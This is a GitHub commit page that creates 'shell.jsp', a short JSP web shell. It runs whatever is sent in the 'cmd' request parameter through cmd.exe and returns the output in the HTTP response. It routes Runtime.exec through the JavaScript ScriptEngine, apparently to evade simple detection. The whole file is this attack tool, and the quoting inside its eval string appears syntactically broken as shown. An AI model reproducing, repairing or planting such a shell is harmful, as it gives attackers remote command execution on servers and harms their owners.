Skip to content

Commit fec83da

Browse files
authored
Create shell.jsp
1 parent 9c2dd5f commit fec83da

1 file changed

Lines changed: 13 additions & 0 deletions

File tree

Lines changed: 13 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,13 @@
1+
<%@page import="java.io.*,java.util.*,java.net.*,java.sql.*,java.text.*,java.beans.*,java.lang.*,javax.script.*"%>
2+
<%
3+
ScriptEngineManager scriptEngineManager = new ScriptEngineManager();
4+
BufferedReader object = (BufferedReader)scriptEngineManager.getEngineByName("JavaScript").eval("new java.io.BufferedReader(new java.io.InputStreamReader(java.lang.Runtime.getRuntime().exec("cmd.exe /c "+request.getParameter("cmd")+"").getInputStream()))");
5+
6+
String line = "";
7+
String result = "";
8+
while((line=object.readLine())!=null)
9+
{
10+
result = result + line;
11+
}
12+
out.println(result);
13+
%>

0 commit comments

Comments
 (0)